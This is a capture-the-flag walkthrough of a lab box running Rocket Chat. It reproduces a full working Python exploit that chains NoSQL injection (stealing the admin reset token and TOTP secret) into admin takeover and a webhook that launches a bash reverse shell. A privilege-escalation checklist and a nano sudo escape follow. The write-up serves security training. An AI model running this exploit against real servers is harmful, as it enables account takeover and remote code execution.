HackSmarter Exception Walkthrough (Medium)
Scenario :
As part of an internal penetration test, you have discovered a server handling sensitive corporate communications. Compromising this high-value target is key to demonstrating tangible risk to the client. Conduct a full-scope penetration test against the target IP to identify, exploit, and report on any existing vulnerabilities.
Solution :
Enumeration :
First thing , we start with an nmap scan :
Iniatial Scan returns 3 ports , 22 for SSH , 80 and 3000 for a web app running on the server , for port 80 we didn’t really get anything useful just a chat bot we can interact with , tried Fuzzing for directories , files , subdomains but didn’t get anything .
For the port 3000 , i found something called Rocket Chat :
After looking it up it is apparently a chatting app , i registered an account to try and enuumerate the app further .
We find this admin email once we’re logged in , we will note this as we might need it for later .
I first tried Fuzzing for files , directories but got nothing , but after taking a look at what Burp crawled , we find an interesting endpoint : /api/info , which reveals the version of this Rocket Chat being used .
Now a quick google search , we see that this version is vulnerable to a NoSQL Injection where we are able to change the password of the admin’s email . Looking at Hack Tricks i found that once we can login as Admin on Rocket Chat app we are able to get an RCE easily by generating a Web Hook .
Exploitation
Luckily for us the exploits for this version will do the RCE step for us , i found this one of exploit DB
1
https://www.exploit-db.com/exploits/49960
For this exploit to work , we only need the admin’s email address and a low level user email which will be ours , we already got the admin’s email right after we logged in .
1
2
Admin User : localh0ste@exception.local
Low level user : bbb@gmail.com
Now copy the exploit , create a virtual python environment to be able to install the dependencies :
1
2
3
python3 -m venv venv
source venv/bin/activate
pip install <package>
Finally to run the exploit we just need to give both emails and the URL :
1
python3 exploit.py -t http://10.0.22.210:3000 -a localh0ste@exception.local -u bbb@gmail.com
This exploit unfortunately didn’t work, since it tried brute forcing the password reset token via blind NoSQL injection, which is slow and the token expires before it can be used. After some research I found this version from syk0.dev which fixes this issue by using our already authenticated low priv session with a NoSQL injection to instantly extract the admin reset token.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
import requests
import string
import time
import hashlib
import json
import oathtool
import argparse
import time
import mintotp
proxies = {
"http": "127.0.0.1:8080",
"https": "127.0.0.1:8080"
}
def login_as_admin(url, email, password, totp):
sha256pass = hashlib.sha256(bytes(password, encoding='utf8')).hexdigest()
payload = json.dumps({"message": json.dumps({
"msg": "method", "method": "login",
"params": [{"totp": {"login": {"user": {"username": email},
"password": {"digest": sha256pass, "algorithm": "sha-256"}},
"code": totp}}]})})
headers={'content-type': 'application/json'}
r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False, proxies=proxies)
if "error" in r.text:
exit("[-] Couldn't authenticate")
temp = json.loads(r.text)
data = json.loads(temp['message'])
userid = data['result']['id']
token = data['result']['token']
return (userid, token)
def get_token_id(email, url, password):
sha256pass = hashlib.sha256(bytes(password, encoding='utf8')).hexdigest()
payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False, proxies=proxies)
if "error" in r.text:
exit("[-] Couldn't authenticate")
temp = json.loads(r.text)
data = json.loads(temp['message'])
userid = data['result']['id']
token = data['result']['token']
return (userid, token)
def create_user(url, email, password):
username = email.split('@')[0]
payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"registerUser\\",\\"params\\":[{\\"name\\":\\"'+ username +'\\",\\"email\\":\\"'+email+'\\",\\"pass\\":\\"'+ password +'\\",\\"confirm-pass\\":\\"'+ password +'\\"}],\\"id\\":\\"30\\"}"}'
headers={'content-type': 'application/json'}
r = requests.post(url+"/api/v1/method.callAnon/registerUser", data = payload, headers = headers, verify = False, allow_redirects = False, proxies=proxies)
temp = json.loads(r.text)
data = json.loads(temp['message'])
if 'Email already exists' in r.text:
print(f'[+] User: {email} exists')
tokenData = get_token_id(email, url, password)
return tokenData
else:
print(f"[+] {email} does not exist")
userid = data['result']
print("[+] Low Privilege User Created")
print(f"[+] Username: {email}\n[+] Password: {password}")
tokenData = get_token_id(email,url,password)
return tokenData
def forgotpassword(url, admin_email):
payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"sendForgotPasswordEmail\\",\\"params\\":[\\"'+admin_email+'\\"]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url+"/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False, proxies=proxies)
print("[+] Password Reset Email Sent")
def get_pass_reset_token(url, admin_user, low_user_id, low_user_token):
cookies = {'rc_uid': low_user_id,'rc_token': low_user_token}
headers={'X-User-Id': low_user_id,'X-Auth-Token': low_user_token}
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\''+admin_user+'\'+%26%26+(()%3d>{+throw+this.services.password.reset.token+})()"}'
re = requests.get(url+payload,cookies=cookies,headers=headers, proxies=proxies)
if re.status_code == 400:
d = json.loads(re.text)
token = d['error'].replace('uncaught exception: ', '')
print(f"[+] Password Reset Token {token}")
return token
def get_totp_token(url, admin_user, low_user_id, low_user_token):
cookies = {'rc_uid': low_user_id,'rc_token': low_user_token}
headers={'X-User-Id': low_user_id,'X-Auth-Token': low_user_token}
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\''+admin_user+'\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
re = requests.get(url+payload,cookies=cookies,headers=headers, proxies=proxies)
if re.status_code == 400:
d = json.loads(re.text)
token = d['error'].replace('uncaught exception: ', '')
print(f"[+] TOTP {token}")
return token
def change_admin_password(url, totp, pass_reset_token, password):
payload = json.dumps({"message": json.dumps({
"msg": "method", "method": "resetPassword",
"params": [pass_reset_token, password, {"twoFactorCode": totp, "twoFactorMethod": "totp"}]})})
print(payload)
headers={'content-type': 'application/json'}
r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False, proxies=proxies)
print(f"\n[+] Password was changed to {password}")
def rce(url, admin_user, a_id, a_token, ip, port):
# Creating Integration
payload = '{"enabled":true,"channel":"#general","username":"'+admin_user+'","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true, "script": "class Script {\\n\\n process_incoming_request({ request }) {\\n\\n\\tconst require = console.log.constructor(\'return process.mainModule.require\')();\\n\\tconst { exec } = require(\'child_process\');\\n\\texec(\'bash -c \\\"bash -i >& /dev/tcp/' + str(ip) + '/' + str(port) + ' 0>&1\\\"\');\\n\\t}\\n}","type":"webhook-incoming"}'
cookies = {'rc_uid': a_id,'rc_token': a_token}
headers = {'X-User-Id': a_id,'X-Auth-Token': a_token}
r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload, proxies=proxies)
data = json.loads(r.text)
token = data['integration']['token']
_id = data['integration']['_id']
print('[+] Sending Reverse Shell Integration')
# Triggering RCE
u = url + '/hooks/' + _id + '/' +token
r = requests.get(u)
if 'success' in r.text:
print(f'[+] Shell for {ip}:{port} Has Executed!')
else:
print('[-] Error')
def main():
parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')
parser.add_argument('-u', help='Low Privilege Email (If this user does not exist, it will be created)', required=True)
parser.add_argument('-a', help='Admin Email Address', required=False)
parser.add_argument('-H', help='URL (Eg: http://rocketchat.local)', required=True)
parser.add_argument('-p', help='Set passwords for accounts', required=False)
parser.add_argument('--ip', help='Your Listener IP', required=False)
parser.add_argument('--port', help='Your Listener Port', required=False)
parser.set_defaults(reset=False)
args = parser.parse_args()
admin = args.a
user = args.u
target = args.H
ip = args.ip
port = args.port
if args.p == None:
password = 'syk0'
else:
password = args.p
admin_user = admin.split('@')[0]
low_user = create_user(target, user, password)
print(low_user)
# get TOTP for admin
totp = get_totp_token(target, admin_user, low_user[0], low_user[1])
# trigger forgot password function for admin
forgotpassword(target, admin)
# get pass reset from admin
pass_reset_token = get_pass_reset_token(target, admin_user, low_user[0], low_user[1])
change_admin_password(target, mintotp.totp(totp), pass_reset_token, password)
a_user = login_as_admin(target, admin_user, password, mintotp.totp(totp))
rce(target, admin_user, a_user[0], a_user[1], ip, port)
main()
Now all we need to do is setup our listener to catch the shell (This exxploit uses a Proxy so make sure you have Burp running otherwise remove the Proxy part in the code ) :
Perfect , now that we got our shell we can start enumerating the system further to check for Privesc vectors .
Privilege Escalation :
First thing we find is the Backups file which contains some creds , we can use them to Login via SSH .
As soon as we login via SSH , we get the user flag :
Before using Linpeas for privesc i like to do some manual checks , here is a quick checklist :
1
2
3
4
5
6
7
8
9
10
id : Check for Groups and Which user .
cat /etc/passwd : Check other users on the machine .
sudo -l : which prog can be ran with root perm .
uname -sr / lsb_relase -a : Version + architecture .
find / -type f -perm -04000 -ls 2>/dev/null : Find binaries with SUID .
Check for Bash History .
If we can Write into a file and execute it as anOTher user , always put a RevShell there .
If you get Creds always test for password Reuse .
cat /etc/fstab : if there is an nfs .
sudo -V : check sudo version for privesc .
We see that our user is able to execute the check_log –clean as Root without password , let’s check GTFOBINS to see if there is a way to abuse this to get Root , We find File read and write but for check_log binary , but if we try it we get the error that our user cant run this binary as root .
But if we run the binary normally , we get dropped into a Nano editor , we know that nano can be abused to achieve Root if we can execute it with root privileges .
Checking GTFOBINS :
Now first CRTL R + CTRL X then we type the command :
Once we execute it , we get Root access , and from there we can read the Flag in the Root Directory :
That’s all for this Box , see you in the next one :)